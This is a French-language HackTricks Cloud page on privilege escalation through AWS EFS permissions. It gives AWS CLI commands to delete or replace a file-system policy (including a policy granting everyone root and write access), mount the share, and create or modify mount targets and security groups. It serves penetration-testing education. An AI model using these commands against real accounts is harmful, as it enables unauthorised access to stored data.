AWS - EFS Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
EFS
Plus d'infos sur EFS dans :
N'oubliez pas que pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (groupes de sécurité). Si cela se produit, par défaut, vous pourrez toujours le monter, cependant, s'il est protégé par des politiques IAM, vous devez avoir les autorisations supplémentaires mentionnées ici pour y accéder.
elasticfilesystem:DeleteFileSystemPolicy
|elasticfilesystem:PutFileSystemPolicy
Avec l'une de ces autorisations, un attaquant peut changer la politique du système de fichiers pour vous donner accès à celui-ci, ou simplement le supprimer afin que l'accès par défaut soit accordé.
Pour supprimer la politique :
aws efs delete-file-system-policy \
--file-system-id <value>
Pour le changer :
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Avec cette permission, un attaquant pourra monter l'EFS. Si la permission d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que l'accès en lecture.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
Les autorisations supplémentaires elasticfilesystem:ClientRootAccess
et elasticfilesystem:ClientWrite
peuvent être utilisées pour écrire à l'intérieur du système de fichiers après qu'il ait été monté et pour accéder à ce système de fichiers en tant que root.
Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.
elasticfilesystem:CreateMountTarget
Si un attaquant se trouve dans un sous-réseau où aucun point de montage de l'EFS n'existe. Il pourrait simplement en créer un dans son sous-réseau avec ce privilège :
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.
elasticfilesystem:ModifyMountTargetSecurityGroups
Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais aucun groupe de sécurité n'autorise le trafic, il pourrait simplement changer cela en modifiant les groupes de sécurité sélectionnés :
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Impact potentiel : Privesc indirect en localisant des informations sensibles dans le système de fichiers.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.